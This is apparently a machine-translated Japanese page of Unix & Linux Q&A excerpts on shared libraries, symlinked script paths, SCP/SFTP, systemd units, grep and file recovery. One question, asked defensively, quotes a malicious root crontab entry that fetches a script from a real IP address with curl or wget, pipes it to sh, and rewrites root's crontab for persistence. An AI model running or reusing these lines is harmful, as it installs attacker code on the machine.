Unix & Linux

Linux、FreeBSDおよび他のUn * xのようなオペレーティングシステムのユーザーのためのQ&A

2
/ usr / local / libの共有ライブラリを使用します
私はソースからいくつかのライブラリを構築しましたmake installが、その後のファイルは/usr/local/lib たとえば、私の場合libodb-2.2.so、このディレクトリにあるファイルがあります。 ただし、にリンクしている実行可能ファイルを起動するとlibodb、エラーが発生しました:共有ライブラリのロード中にエラーが発生しました:libodb-2.2.so: cannont open shared object file: No such file or directory. 実行可能ファイルを正しくビルドしていないということですか?または、フォルダにいくつかの興味深いライブラリがある可能性があることをシステムに示す必要がありますか/usr/local/lib? Ubuntu 12.04、Linuxカーネル3.2.0-38-genericを使用しています。
59 ubuntu  libraries 

4
シンボリックリンクを介して実行されたときに現在のスクリプトのパスを取得
いくつかのbashスクリプトを含むいくつかのディレクトリと、場合によっては各マシンの異なるディレクトリにある複数のマシンに展開されるサポートファイルで構成されるユーティリティがあります。スクリプトはそれ自体に関連するパスを参照できる必要があるため、現在実行中のファイルへのパスを取得できる必要があります。 dirname $0スクリプトが直接呼び出されたときに完全に機能するイディオムを知っています。残念ながら、まったく異なるディレクトリからこれらのスクリプトへのシンボリックリンクを作成し、依然として相対パスロジックを機能させたいという要望があります。 全体的な乾燥構造の例は次のとおりです。 / |-usr/local/lib | |-foo | | |-bin | | | |-script.sh | | |-res | | | |-resource_file.txt |-home/mike/bin | |-link_to_script (symlink to /usr/local/lib/foo/bin/script.sh) またはによって呼び出されるかどうか/usr/local/lib/foo/res/resource_file.txtからどのように確実に参照できますか?script.sh/usr/local/lib/foo/bin/script.sh~mike/bin/link_to_script


4
SFTP、SCP、およびFISHプロトコルの違いは何ですか?
SCPはSSH経由でファイルをコピーするツールだと思っていましたが、SSH経由でファイルをコピーすることはSFTPと呼ばれ、それ自体がFISHの同義語です。 しかし今、Windowsでこれを行うTotal Commanderプラグインを探していたとき、そのページで「セキュアFTP(SSHを介したFTP)を介したリモートサーバーへのアクセスを許可します。SSH2が必要です。 SCPとして!」。 同じでない場合、私は何を誤解していますか?
59 ssh  scp  sftp  fish-protocol 

9
scpで多数の小さなファイルをコピーするにはどうすればよいですか?
私は数ギガバイトと数千の小さなファイルを持っているディレクトリを持っています。scpを使用してネットワーク経由で複数回コピーしたい。ソースマシンと宛先マシンのCPU時間は安価ですが、各ファイルを個別にコピーすることにより追加されるネットワークオーバーヘッドは膨大です。tar / gzipで圧縮して出荷しますが、ソースマシンのディスクが不足しています。 出力tar -czf <output> <directory>をscp にパイプする方法はありますか?そうでない場合、別の簡単な解決策はありますか?私のソースマシンは古代(SunOS)であるため、何かをインストールしたくないのです。
59 tar  scp 


7
コマンドラインからUNIXタイムスタンプの書式設定された日付を取得する方法
UNIXタイムスタンプがありdate、そのタイムスタンプに対応する書式設定された日付(の出力など)を取得したいです。 これまでの私の試み: $ date +%s 1282367908 $ date -d 1282367908 date: invalid date `1282367908' $ date -d +1282367908 date: invalid date `+1282367908' $ date +%s -d +1282367908 date: invalid date `+1282367908' 次のような出力を取得できるようにしたいと思います。 $ TZ=UTC somecommand 1282368345 Sat Aug 21 05:25:45 UTC 2010

3
systemdユニットファイルはどこに置きますか?
ユニットファイル用に2つのフォルダーがあることを読みました(ユーザーモードではありません)。 /usr/lib/systemd/system/: units provided by installed packages /etc/systemd/system/: units installed by the system administrator :この理解と競合すると、次の答えですhttps://unix.stackexchange.com/a/47715/33386。何が起こっているのか理解できるように、誰かが不足している情報を記入できますか?(更新:答えが更新され、私の理解はそれと矛盾しなくなりました。) また、スクリプトはフォルダー内のサブフォルダーに整理されているようです/etc/systemd/system/: getty.target.wants multi-user.target.wants 別の場所に他の場所があることを読みました。これらはユーザー固有のサービス用であるようです。 /usr/lib/systemd/user/ where services provided by installed packages go. /etc/systemd/user/ where system-wide user services are placed by the system administrator. ~/.config/systemd/user/ where the user puts its own services. 更新2015-08-31: 他の人のために、私が最近尋ねた関連する質問へのリンクがあります: systemdユニットによって実行されるスクリプトはどこに置きますか?



2
「less」で最後の検索を強調表示しない
lessで/前方検索または?後方検索を使用すると、ファイルのすべてのインスタンスが強調表示されます。探している単語のインスタンスを見つけた後、何かをハイライト解除する最も正しい方法は何ですか? 現在、私はただ押し/て、入力フィールドに意味不明なものをつぶします。結果なし=ハイライトなし! 私はvimの:nohl機能に似たものを探しています。
59 search  less 


2
15分ごとに「xribfa4」を実行する疑わしいcrontabエントリ
Raspberry Piのルートcrontabファイルに何かを追加したかったのですが、Googleでその一部を検索しても疑わしいエントリが見つかりませんでした。 crontabエントリ: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh 内容は次のhttp://103.219.112.66:8000/i.shとおりです。 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root …
59 security  cron  malware 

1
GNU grepの-Xオプションの実際の目的は何ですか?また、なぜ文書化されていないのですか?
この質問を読んで、GNUにgrepは-X議論を期待するオプションがあることを発見しました。奇妙なことに、マニュアルページにも情報ページにも記載されていません。 ソースコードを見ると、--help出力の真ん中にそのコメントがあります: /* -X is deliberately undocumented. */ さらに見ると、と思われる-X matcherオプションは、正規表現のために使用されるエンジンを設定し、matcherあることの1 grep、egrep、fgrep、awk、gawk、posixawk及びperl(バージョン2.25のとおり)。 これらの値のいくつかは(つまり既存のオプションと厳密に同じでありgrep -G、grep -E、grep -Fおよびgrep -P)。一方、3つのawkバリアントには対応するオプションがありません。 特にawk正規表現エンジンの1つで、誰かがこのオプションの実際の目的を知っていますか?意図的に文書化されていない理由を誰かに教えてもらえますか?
58 grep  options 

3
間違ったファイルパスに49GBのディレクトリを「mv」しただけですが、ファイルの元の状態を復元することは可能ですか?
私はディレクトリを持っています(まあ、持っていました): /media/admin/my_data サイズは約49GBで、何万ものファイルが含まれていました。ディレクトリは、アクティブなLUKSパーティションのマウントポイントです。 ディレクトリの名前を次のように変更しました。 /media/admin/my_data_on_60GB_partition 当時は気がつきませんでしたが、ホームディレクトリからコマンドを発行したため、次のようになりました。 ~% sudo mv /media/admin/my_data my_data_on_60GB_partition そのため、mvプログラム/media/admin/my_dataは新しいディレクトリに移動し、その内容を開始しました~/my_data_on_60GB_partition。 コマンドを途中でキャンセルするためにCtrl+ を使用したCので、今ではディレクトリに分割された多数のファイルがあります。 ~/my_data_on_60GB_partition <--- about 2GB worth files in here そして /media/admin/my_data <---- about 47GB of orig files in here 新しいディレクトリ~/my_data_on_60GB_partitionとそのサブディレクトリの一部は、rootが所有しています。 私は、mvプログラムが最初にルートとしてファイルをコピーしてから、転送後にファイルをchownユーザーアカウントにコピーし直さなければならないと想定しています。 ディレクトリ/パーティションのやや古いバックアップがあります。 私の質問は、移動された一連のファイルを確実に復元することは可能ですか? つまり、ただ実行できますか? sudo mv ~/my_data_on_60GB_partition/* /media/admin/my_data または、ファイルが破損しており、部分的に完了しているなどの可能性があるため、回復を試みるのをあきらめる必要がありますか? OS-Ubuntu 16.04 mv --version mv (GNU coreutils) 8.25

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.